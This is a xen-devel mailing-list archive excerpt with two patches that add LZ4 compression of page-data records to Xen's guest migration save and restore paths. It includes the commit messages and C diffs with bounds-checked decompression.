Received: by outflank-mailman (output) from mailman id 1366732.1616684; Mon, 20 Jul 2026 15:49:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFb-0006m4-Cf; Mon, 20 Jul 2026 15:49:51 +0000
Received: by outflank-mailman (input) for mailman id 1366732;
 Mon, 20 Jul 2026 15:49:51 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wlqFa-0006k8-RU
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:49:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqFa-00CFTf-8T
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:49:50 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e4393-e002-0a2a0a5209dd-0a2a4507bf5a-10
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:50 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e439d-b4ea-0a2a45070019-a06583099fbe-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:50 +0200
Received: from mewpvdipd1023.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTPS id 3ED658291B34;
 Mon, 20 Jul 2026 11:48:08 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Marcus Granado <marcus.granado@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Frediano Ziglio <freddy77@gmail.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Marcus Granado <marcus.granado@citrix.com>
Subject: [PATCH v1 2/6] tools/libs/guest: decompress PAGE_DATA_LZ4 records on restore
Date: Mon, 20 Jul 2026 16:48:27 +0100
Message-ID: <20260720154832.1907401-3-marcus.granado@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720154832.1907401-1-marcus.granado@citrix.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784562590-A6AD8AE4-7492F775/0/0
X-purgate-type: clean
X-purgate-size: 9981

This patch updates the restore side of the migration stream to accept the
newly defined REC_TYPE_PAGE_DATA_LZ4 record. When HAVE_LZ4 is defined,
handle_data_lz4() decodes the PAGE_DATA_LZ4 record's data_lz4 payload
(containing the per-page [uint16 LE clen][clen octets] entries)
into ctx->restore.lz4_decomp_buf and returns it, or NULL on error.

clen is read via lz4_page_get_clen() (little-endian octet assembly instead
of a pointer cast as the entries are byte-packed and therefore unaligned).
Each entry's length and the running input offset are bounds-checked
against the record payload, each page_data_lz4 must decompress to exactly
PAGE_SIZE, and the walk must consume the payload exactly, before any byte
reaches the guest. The decompressed page_data_lz4 is sent to the existing
process_page_data() path of REC_TYPE_PAGE_DATA, so the rest of the
restore code stays the same.

The existing process_record() routes both types of page data records to
the same handle_page_data(), which is refactored to dispatch on rec->type:
* the original uncompresed REC_TYPE_PAGE_DATA case keeps its original
  exact-size check
* the new REC_TYPE_PAGE_DATA_LZ4 case expects variable record lengths
  and decompresses the expected_payload

The decompression buffer grows on demand via realloc() and is freed in
cleanup(). Sizing is driven by the uncompressed byte count from the
expected_payload of the header, so the buffer naturally converges
to the largest batch size used during the stream.

The existing per-object 'xg_dom_bzimageloader.o: CFLAGS += $(ZLIB_CFLAGS)'
is broadened to a global 'CFLAGS += $(ZLIB_CFLAGS)' (tools/configure groups
liblz4's -DHAVE_LZ4 and cflags into ZLIB_CFLAGS), so HAVE_LZ4 is defined
consistently for every libxenguest object that includes xg_sr_common.h.

Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
---
 tools/libs/guest/Makefile        |   2 +-
 tools/libs/guest/xg_sr_common.h  |  12 +++
 tools/libs/guest/xg_sr_restore.c | 149 +++++++++++++++++++++++++++++--
 3 files changed, 154 insertions(+), 9 deletions(-)

diff --git a/tools/libs/guest/Makefile b/tools/libs/guest/Makefile
index 93338a9301..037f1f4de9 100644
--- a/tools/libs/guest/Makefile
+++ b/tools/libs/guest/Makefile
@@ -3,7 +3,7 @@ include $(XEN_ROOT)/tools/Rules.mk
 
 include Makefile.common
 
-xg_dom_bzimageloader.o xg_dom_bzimageloader.opic: CFLAGS += $(ZLIB_CFLAGS)
+CFLAGS += $(ZLIB_CFLAGS)
 
 $(LIBELF_OBJS:.o=.opic): CFLAGS += -Wno-pointer-sign
 
diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index f1573aefcb..e2321b25d5 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -209,6 +209,12 @@ static inline int update_blob(struct xc_sr_blob *blob,
     return 0;
 }
 
+/* Little-endian accessors for the PAGE_DATA_LZ4 per-page clen prefix. */
+static inline uint16_t lz4_page_get_clen(const uint8_t *p)
+{
+    return (uint16_t)(p[0] | (p[1] << 8));
+}
+
 struct xc_sr_context
 {
     xc_interface *xch;
@@ -298,6 +304,12 @@ struct xc_sr_context
 
             /* memflags to pass to xc_domain_populate_physmap{_exact}(). */
             unsigned int memflags;
+
+#ifdef HAVE_LZ4
+            /* Persistent LZ4 decompression buffer */
+            void *lz4_decomp_buf;
+            size_t lz4_decomp_buf_size;
+#endif
         } restore;
     };
 
diff --git a/tools/libs/guest/xg_sr_restore.c b/tools/libs/guest/xg_sr_restore.c
index 458eaa5992..be8a88288e 100644
--- a/tools/libs/guest/xg_sr_restore.c
+++ b/tools/libs/guest/xg_sr_restore.c
@@ -4,6 +4,10 @@
 
 #include "xg_sr_common.h"
 
+#ifdef HAVE_LZ4
+#include <lz4.h>
+#endif
+
 /*
  * Read and validate the Image and Domain headers.
  */
@@ -354,6 +358,104 @@ static int process_page_data(struct xc_sr_context *ctx, unsigned int count,
     return rc;
 }
 
+/*
+ * Decode a PAGE_DATA_LZ4 record's data_lz4 (see xg_sr_stream_format.h):
+ * nr_pages per-page sub-blocks, each a uint16 LE clen then clen octets of
+ * page_data_lz4 (clen == 0 => a raw page), into ctx->restore.lz4_decomp_buf
+ * (grown as needed).  Returns the decoded page data, or NULL on error.
+ */
+static void *handle_data_lz4(struct xc_sr_context *ctx,
+                             const uint8_t *data_lz4,
+                             size_t data_lz4_len,
+                             unsigned int nr_pages)
+{
+    xc_interface *xch = ctx->xch;
+#ifdef HAVE_LZ4
+    size_t expected = (size_t)nr_pages * PAGE_SIZE;
+    size_t in_off = 0;
+    unsigned int p;
+
+    if ( nr_pages == 0 )
+    {
+        ERROR("Compressed PAGE_DATA record with zero present pages");
+        return NULL;
+    }
+
+    if ( expected > ctx->restore.lz4_decomp_buf_size )
+    {
+        void *new_buf = realloc(ctx->restore.lz4_decomp_buf, expected);
+        if ( !new_buf )
+        {
+            ERROR("Unable to allocate %zu bytes for LZ4 payload", expected);
+            return NULL;
+        }
+        ctx->restore.lz4_decomp_buf = new_buf;
+        ctx->restore.lz4_decomp_buf_size = expected;
+    }
+
+    for ( p = 0; p < nr_pages; ++p )
+    {
+        uint8_t *dst = (uint8_t *)ctx->restore.lz4_decomp_buf + p * PAGE_SIZE;
+        uint16_t clen;
+        int decomp_ret;
+
+        if ( in_off + PAGE_DATA_LZ4_CLEN_SIZE > data_lz4_len )
+        {
+            ERROR("PAGE_DATA_LZ4 record with truncated length prefix");
+            return NULL;
+        }
+        clen = lz4_page_get_clen(data_lz4 + in_off);
+        in_off += PAGE_DATA_LZ4_CLEN_SIZE;
+
+        /* top 4 bits reserved for future use; must be 0 */
+        if ( clen & PAGE_DATA_LZ4_CLEN_RESERVED_MASK )
+        {
+            ERROR("PAGE_DATA_LZ4 record with reserved clen bit set");
+            return NULL;
+        }
+
+        if ( clen == PAGE_DATA_LZ4_CLEN_RAW )
+        {
+            if ( PAGE_SIZE > data_lz4_len - in_off )
+            {
+                ERROR("PAGE_DATA_LZ4 record with truncated raw page");
+                return NULL;
+            }
+            memcpy(dst, data_lz4 + in_off, PAGE_SIZE);
+            in_off += PAGE_SIZE;
+            continue;
+        }
+
+        /* reserved-bit reject above already caps clen < PAGE_SIZE */
+        if ( (size_t)clen > data_lz4_len - in_off )
+        {
+            ERROR("PAGE_DATA_LZ4 record with bad block length");
+            return NULL;
+        }
+        decomp_ret = LZ4_decompress_safe((const char *)(data_lz4 + in_off),
+                                         (char *)dst, (int)clen,
+                                         (int)PAGE_SIZE);
+        if ( decomp_ret != (int)PAGE_SIZE )
+        {
+            ERROR("PAGE_DATA_LZ4 record decompressed to wrong size");
+            return NULL;
+        }
+        in_off += clen;
+    }
+
+    if ( in_off != data_lz4_len )
+    {
+        ERROR("PAGE_DATA_LZ4 record with trailing bytes in payload");
+        return NULL;
+    }
+
+    return ctx->restore.lz4_decomp_buf;
+#else
+    ERROR("LZ4 compressed PAGE_DATA record but LZ4 support not compiled in");
+    return NULL;
+#endif /* HAVE_LZ4 */
+}
+
 /*
  * Validate a PAGE_DATA record from the stream, and pass the results to
  * process_page_data() to actually perform the legwork.
@@ -448,18 +550,45 @@ static int handle_page_data(struct xc_sr_context *ctx, struct xc_sr_record *rec)
         types[i] = type;
     }
 
-    if ( rec->length != (sizeof(*pages) +
-                         (sizeof(uint64_t) * pages->count) +
-                         (PAGE_SIZE * pages_of_data)) )
+    size_t header_len = sizeof(*pages) + (sizeof(uint64_t) * pages->count);
+    size_t expected_payload = PAGE_SIZE * pages_of_data;
+
+    if ( rec->length < header_len )
     {
-        ERROR("PAGE_DATA record wrong size: length %u, expected "
-              "%zu + %zu + %lu", rec->length, sizeof(*pages),
-              (sizeof(uint64_t) * pages->count), (PAGE_SIZE * pages_of_data));
+        ERROR("PAGE_DATA record too short: header %zu > length %u",
+              header_len, rec->length);
         goto err;
     }
 
-    rc = process_page_data(ctx, pages->count, pfns, types,
-                           &pages->pfn[pages->count]);
+    switch ( rec->type )
+    {
+    case REC_TYPE_PAGE_DATA:
+        if ( rec->length != header_len + expected_payload )
+        {
+            ERROR("PAGE_DATA record wrong size: length %u, expected "
+                  "%zu + %zu + %lu", rec->length, sizeof(*pages),
+                  (sizeof(uint64_t) * pages->count), expected_payload);
+            goto err;
+        }
+
+        rc = process_page_data(ctx, pages->count, pfns, types,
+                               &pages->pfn[pages->count]);
+        break;
+
+    case REC_TYPE_PAGE_DATA_LZ4:
+    {
+        const uint8_t *data_lz4 = (const uint8_t *)&pages->pfn[pages->count];
+        size_t data_lz4_len = rec->length - header_len;
+        void *page_data = handle_data_lz4(ctx, data_lz4, data_lz4_len,
+                                          pages_of_data);
+
+        if ( !page_data )
+            goto err;
+
+        rc = process_page_data(ctx, pages->count, pfns, types, page_data);
+        break;
+    }
+    }
  err:
     free(types);
     free(pfns);
@@ -705,6 +834,7 @@ static int process_record(struct xc_sr_context *ctx, struct xc_sr_record *rec)
         break;
 
     case REC_TYPE_PAGE_DATA:
+    case REC_TYPE_PAGE_DATA_LZ4:
         rc = handle_page_data(ctx, rec);
         break;
 
@@ -796,6 +926,9 @@ static void cleanup(struct xc_sr_context *ctx)
 
     free(ctx->restore.buffered_records);
     free(ctx->restore.populated_pfns);
+#ifdef HAVE_LZ4
+    free(ctx->restore.lz4_decomp_buf);
+#endif
 
     if ( ctx->restore.ops.cleanup(ctx) )
         PERROR("Failed to clean up");
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:49:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:49:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366740.1616692 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFg-00077a-RB; Mon, 20 Jul 2026 15:49:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366740.1616692; Mon, 20 Jul 2026 15:49:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFg-00077R-OM; Mon, 20 Jul 2026 15:49:56 +0000
Received: by outflank-mailman (input) for mailman id 1366740;
 Mon, 20 Jul 2026 15:49:55 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wlqFf-00075e-7r
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:49:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqFe-00GJmC-L4
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:49:54 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e438b-5cb7-0a2a0a5109dd-0a2a450387ba-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:54 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e43a1-fae8-0a2a45030019-a0658309b22c-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:54 +0200
Received: from mewpvdipd1023.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTPS id 8CF898291CBC;
 Mon, 20 Jul 2026 11:48:12 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Marcus Granado <marcus.granado@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Frediano Ziglio <freddy77@gmail.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Marcus Granado <marcus.granado@citrix.com>
Subject: [PATCH v1 3/6] tools/libs/guest: compress PAGE_DATA with LZ4 on save
Date: Mon, 20 Jul 2026 16:48:28 +0100
Message-ID: <20260720154832.1907401-4-marcus.granado@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720154832.1907401-1-marcus.granado@citrix.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784562594-6F4C74E9-0C6C3709/0/0
X-purgate-type: clean
X-purgate-size: 14629

This patch updates the save side of the migration stream to emit
REC_TYPE_PAGE_DATA_LZ4 compressed records of page data batches.

The compression algorithm is selected at runtime via a new ctx->compression
field of type enum xc_sr_compression.  It defaults to XC_SR_COMPRESS_NONE,
so the on-wire behaviour is unchanged unless compression is explicitly
requested; the opt-in that selects XC_SR_COMPRESS_LZ4 is added in a later
patch.  The LZ4-specific code is compiled in only when libxenguest is built
with liblz4 support (ie. HAVE_LZ4 is defined).

The compression state (buffers, state) is kept in the xc_sr_context struct,
guarded by #ifdef HAVE_LZ4 for LZ4-specific members.
setup_compression_lz4() allocates one persistent buffer:
* lz4_compress_buf: the output buffer packing the per-page
  compressed output (worst case: every page stored raw), with a few spare
  bytes so the record's 8-byte alignment padding can be folded into its tail

It is freed in cleanup_compression_lz4(). Using a persistent buffer
avoids a malloc/free cycle per batch during migration.

lz4_compress_batch() compresses each present page independently. The raw
page data has already been written into iov[2 ..) by write_batch() (which
coalesces physically-contiguous pages), so each page is recovered by
walking those iov entries in PAGE_SIZE strides. Each page is compressed
with a destination capacity of PAGE_SIZE - 1, so any page that does not
strictly shrink is stored raw. Then it checks a per-batch ratio threshold
(XC_SR_COMPRESS_BATCH_THRESHOLD 97%): if the compressed payload is at
least 97% of the original size, lz4_compress_batch() returns false and the
batch is sent uncompressed as REC_TYPE_PAGE_DATA instead of
REC_TYPE_PAGE_DATA_LZ4. The caller then emits the batch through the native
uncompressed per-page path, which the receiver side handles natively as
REC_TYPE_PAGE_DATA without any awareness of the discarded compression
attempt. This avoids wasting receiver CPU on decompression for
negligible size savings and handles incompressible data (eg encrypted
pages) where framing overhead would otherwise make the compressed output
larger than the input.

write_batch() is refactored to dispatch on ctx->compression: the iovec
for writev() is sized at nr_pfns + 2 entries (2 header iovs plus up to one
per present page), covering both the LZ4 path (a single payload iov, with
the record's alignment padding folded into it) and the uncompressed
per-page path used natively and on LZ4 decline.

Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
---
 tools/libs/guest/xg_sr_common.h |  26 ++++
 tools/libs/guest/xg_sr_save.c   | 244 +++++++++++++++++++++++++++++++-
 2 files changed, 267 insertions(+), 3 deletions(-)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index e2321b25d5..ccb02511ec 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -210,11 +210,26 @@ static inline int update_blob(struct xc_sr_blob *blob,
 }
 
 /* Little-endian accessors for the PAGE_DATA_LZ4 per-page clen prefix. */
+static inline void lz4_page_put_clen(uint8_t *p, uint16_t clen)
+{
+    p[0] = (uint8_t)(clen & 0xff);
+    p[1] = (uint8_t)((clen >> 8) & 0xff);
+}
+
 static inline uint16_t lz4_page_get_clen(const uint8_t *p)
 {
     return (uint16_t)(p[0] | (p[1] << 8));
 }
 
+/* Compression mode for the migration stream. */
+enum xc_sr_compression
+{
+    XC_SR_COMPRESS_NONE = 0,
+#ifdef HAVE_LZ4
+    XC_SR_COMPRESS_LZ4,
+#endif
+};
+
 struct xc_sr_context
 {
     xc_interface *xch;
@@ -224,6 +239,9 @@ struct xc_sr_context
     /* Plain VM, or checkpoints over time. */
     xc_stream_type_t stream_type;
 
+    /* Compression algorithm for page data records. */
+    enum xc_sr_compression compression;
+
     xc_domaininfo_t dominfo;
 
     union /* Common save or restore data. */
@@ -250,6 +268,14 @@ struct xc_sr_context
             unsigned long *deferred_pages;
             unsigned long nr_deferred_pages;
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
+
+#ifdef HAVE_LZ4
+            /*
+             * Persistent LZ4 output buffer (avoids repeated malloc/free),
+             * sized MAX_BATCH_SIZE * (PAGE_SIZE + clen) + (REC_ALIGN - 1).
+             */
+            void *lz4_compress_buf;
+#endif
         } save;
 
         struct /* Restore data. */
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 84fdbe4140..8f661f0168 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -3,6 +3,22 @@
 
 #include "xg_sr_common.h"
 
+#ifdef HAVE_LZ4
+#include <lz4.h>
+#endif
+
+#include <xen-tools/common-macros.h>
+
+/*
+ * Per-batch compression ratio threshold (percentage). When the compressed
+ * output of a single batch is at least this fraction of the original size,
+ * send uncompressed page data instead. This avoids wasting receiver CPU on
+ * decompression for negligible (or negative) size savings. At 100%+ the
+ * compressed output is actually larger than the input due to framing
+ * overhead on incompressible data
+ */
+#define XC_SR_COMPRESS_BATCH_THRESHOLD  97
+
 /*
  * Writes an Image header and Domain header into the stream.
  */
@@ -73,6 +89,161 @@ static int write_checkpoint_record(struct xc_sr_context *ctx)
     return write_record(ctx, &checkpoint);
 }
 
+#ifdef HAVE_LZ4
+/*
+ * Allocate LZ4 compression buffers during setup_compression()
+ * when ctx->compression is XC_SR_COMPRESS_LZ4
+ */
+static int setup_compression_lz4(struct xc_sr_context *ctx)
+{
+    xc_interface *xch = ctx->xch;
+
+    /*
+     * Per-page packed payload; worst case is every page stored raw.  The
+     * trailing (REC_ALIGN - 1) spare bytes give room to fold the
+     * record's 8-byte alignment padding into this buffer's tail (see
+     * lz4_compress_batch()), avoiding a separate padding iov
+     */
+    ctx->save.lz4_compress_buf =
+        malloc((size_t)MAX_BATCH_SIZE * (PAGE_SIZE + PAGE_DATA_LZ4_CLEN_SIZE)
+               + (REC_ALIGN - 1));
+
+    if ( !ctx->save.lz4_compress_buf )
+    {
+        ERROR("Unable to allocate LZ4 buffer");
+        return -1;
+    }
+
+    return 0;
+}
+
+/*
+ * Free LZ4 compression buffers during cleanup_compression()
+ * when ctx->compression is XC_SR_COMPRESS_LZ4
+ */
+static void cleanup_compression_lz4(struct xc_sr_context *ctx)
+{
+    free(ctx->save.lz4_compress_buf);
+}
+
+/*
+ * Prepare and LZ4-compress a batch of page data.
+ *
+ * write_batch() has already filled iov[2 .. *iovcnt) with this batch's raw
+ * page data, coalescing physically-contiguous guest pages into larger iov
+ * entries.  Walk those entries in PAGE_SIZE strides to recover each present
+ * page (there are exactly nr_pages of them, in ascending order) and compress
+ * it as an independent LZ4 block.
+ *
+ * On success, discard the per-page iov entries, emit a single payload iov,
+ * update *iovcnt and rec->type / rec->length, and return true.  If the batch
+ * does not compress well enough, leave iov[], *iovcnt and *rec
+ * untouched and return false so the caller emits native PAGE_DATA.
+ */
+static bool lz4_compress_batch(struct xc_sr_context *ctx, unsigned int nr_pages,
+                               struct iovec *iov, int *iovcnt,
+                               struct xc_sr_rhdr *rec)
+{
+    xc_interface *xch = ctx->xch;
+    void *compressed = ctx->save.lz4_compress_buf;
+    size_t raw_len = (size_t)nr_pages * PAGE_SIZE;
+    size_t compressed_len;
+
+    /*
+     * Compress each page as an independent LZ4 block, packed back-to-back as
+     * [uint16 LE clen][clen bytes].  clen == 0 means a raw page follows.  The
+     * raw pages are recovered from iov[2 .. *iovcnt), which write_batch()
+     * filled (coalescing contiguous pages), by striding each entry in
+     * PAGE_SIZE units.
+     */
+    {
+        uint8_t *out = compressed;
+        size_t off = 0;
+        int v;
+
+        for ( v = 2; v < *iovcnt; ++v )
+        {
+            const uint8_t *base = iov[v].iov_base;
+            size_t poff;
+
+            for ( poff = 0; poff < iov[v].iov_len; poff += PAGE_SIZE )
+            {
+                const uint8_t *src = base + poff;
+                uint8_t *blk = out + off;
+                uint8_t *dst = blk + PAGE_DATA_LZ4_CLEN_SIZE;
+                int comp_ret;
+
+                /*
+                 * PAGE_SIZE-1 budget: LZ4 returns 0 for an incompressible page
+                 * or on error; such pages are stored raw below.
+                 */
+                comp_ret = LZ4_compress_default((const char *)src, (char *)dst,
+                                                (int)PAGE_SIZE,
+                                                (int)PAGE_SIZE - 1);
+                if ( comp_ret > 0 )
+                {
+                    lz4_page_put_clen(blk, (uint16_t)comp_ret);
+                    off += PAGE_DATA_LZ4_CLEN_SIZE + (size_t)comp_ret;
+                }
+                else
+                {
+                    lz4_page_put_clen(blk, PAGE_DATA_LZ4_CLEN_RAW);
+                    memcpy(dst, src, PAGE_SIZE);
+                    off += PAGE_DATA_LZ4_CLEN_SIZE + PAGE_SIZE;
+                }
+            }
+        }
+        compressed_len = off;
+    }
+
+    /*
+     * Decline: if compression didn't shrink the data enough, send
+     * uncompressed page data instead. This avoids transmitting extra
+     * bytes and saves the receiver from a pointless decompression pass
+     */
+    if ( compressed_len * 100 >= raw_len * XC_SR_COMPRESS_BATCH_THRESHOLD )
+    {
+        size_t permil = compressed_len * 1000 / raw_len;
+
+        DBGPRINTF("LZ4: %zu -> %zu bytes (%zu.%zu%% >= %u%%), "
+                  "sending uncompressed",
+                  raw_len, compressed_len, permil / 10, permil % 10,
+                  XC_SR_COMPRESS_BATCH_THRESHOLD);
+        return false;
+    }
+
+    {
+        size_t permil = compressed_len * 1000 / raw_len;
+
+        DBGPRINTF("LZ4: %zu -> %zu bytes (%zu.%zu%% ratio)",
+                  raw_len, compressed_len, permil / 10, permil % 10);
+    }
+
+    /*
+     * Accept: discard the raw per-page iov entries (iov[2 .. *iovcnt)) and
+     * emit a single payload iov.  Fold the record's 8-byte alignment zeroed
+     * padding into the compressed buffer's tail so no separate padding iov is
+     * needed; setup_compression_lz4() sized the buffer with (REC_ALIGN - 1)
+     * spare bytes for this reason.
+     */
+    rec->type = REC_TYPE_PAGE_DATA_LZ4;
+    rec->length += compressed_len;
+    {
+        size_t padding = ROUNDUP(rec->length, REC_ALIGN) - rec->length;
+
+        if ( padding )
+            memset((uint8_t *)compressed + compressed_len, 0, padding);
+
+        *iovcnt = 2;
+        iov[*iovcnt].iov_base = compressed;
+        iov[*iovcnt].iov_len = compressed_len + padding;
+        (*iovcnt)++;
+    }
+
+    return true;
+}
+#endif /* HAVE_LZ4 */
+
 /*
  * Writes a batch of memory as a PAGE_DATA record into the stream.  The batch
  * is constructed in ctx->save.batch_pfns.
@@ -232,11 +403,33 @@ static int write_batch(struct xc_sr_context *ctx)
         }
     }
 
-    hdrs.rec.length += nr_pages * PAGE_SIZE;
-
     for ( i = 0; i < nr_pfns; ++i )
         rec_pfns[i] = ((uint64_t)(types[i]) << 32) | ctx->save.batch_pfns[i];
 
+    /*
+     * Emit the batch's page data.  With LZ4 selected, try to compress it: on
+     * success lz4_compress_batch() has replaced the per-page iov entries built
+     * by the map loop with a single compressed payload iov and updated
+     * hdrs.rec; on decline (or compression off / not built with LZ4) fall
+     * through to emit the raw pages as native PAGE_DATA.
+     */
+    switch ( ctx->compression )
+    {
+#ifdef HAVE_LZ4
+    case XC_SR_COMPRESS_LZ4:
+        if ( nr_pages &&
+             lz4_compress_batch(ctx, nr_pages, iov, &iovcnt, &hdrs.rec) )
+            break;
+        /* LZ4 declined or empty batch: emit native PAGE_DATA. */
+        __attribute__((fallthrough));
+#endif
+
+    case XC_SR_COMPRESS_NONE:
+    default:
+        hdrs.rec.length += nr_pages * PAGE_SIZE;
+        break;
+    }
+
     if ( writev_exact(ctx->fd, iov, iovcnt) )
     {
         PERROR("Failed to write page data to stream");
@@ -771,6 +964,28 @@ static int send_domain_memory_nonlive(struct xc_sr_context *ctx)
     return rc;
 }
 
+static int setup_compression(struct xc_sr_context *ctx)
+{
+    switch ( ctx->compression )
+    {
+#ifdef HAVE_LZ4
+    case XC_SR_COMPRESS_LZ4:
+        if ( setup_compression_lz4(ctx) )
+        {
+            errno = ENOMEM;
+            return -1;
+        }
+        break;
+#endif
+
+    case XC_SR_COMPRESS_NONE:
+    default:
+        break;
+    }
+
+    return 0;
+}
+
 static int setup(struct xc_sr_context *ctx)
 {
     xc_interface *xch = ctx->xch;
@@ -797,19 +1012,38 @@ static int setup(struct xc_sr_context *ctx)
         goto err;
     }
 
+    rc = setup_compression(ctx);
+    if ( rc )
+        goto err;
+
     rc = 0;
 
  err:
     return rc;
 }
 
+static void cleanup_compression(struct xc_sr_context *ctx)
+{
+    switch ( ctx->compression )
+    {
+#ifdef HAVE_LZ4
+    case XC_SR_COMPRESS_LZ4:
+        cleanup_compression_lz4(ctx);
+        break;
+#endif
+
+    case XC_SR_COMPRESS_NONE:
+    default:
+        break;
+    }
+}
+
 static void cleanup(struct xc_sr_context *ctx)
 {
     xc_interface *xch = ctx->xch;
     DECLARE_HYPERCALL_BUFFER_SHADOW(unsigned long, dirty_bitmap,
                                     &ctx->save.dirty_bitmap_hbuf);
 
-
     xc_shadow_control(xch, ctx->domid, XEN_DOMCTL_SHADOW_OP_OFF,
                       NULL, 0);
 
@@ -820,6 +1054,8 @@ static void cleanup(struct xc_sr_context *ctx)
                                    NRPAGES(bitmap_size(ctx->save.p2m_size)));
     free(ctx->save.deferred_pages);
     free(ctx->save.batch_pfns);
+
+    cleanup_compression(ctx);
 }
 
 /*
@@ -971,6 +1207,8 @@ int xc_domain_save(xc_interface *xch, int io_fd, uint32_t dom,
     };
     bool hvm;
 
+    ctx.compression = XC_SR_COMPRESS_NONE;
+
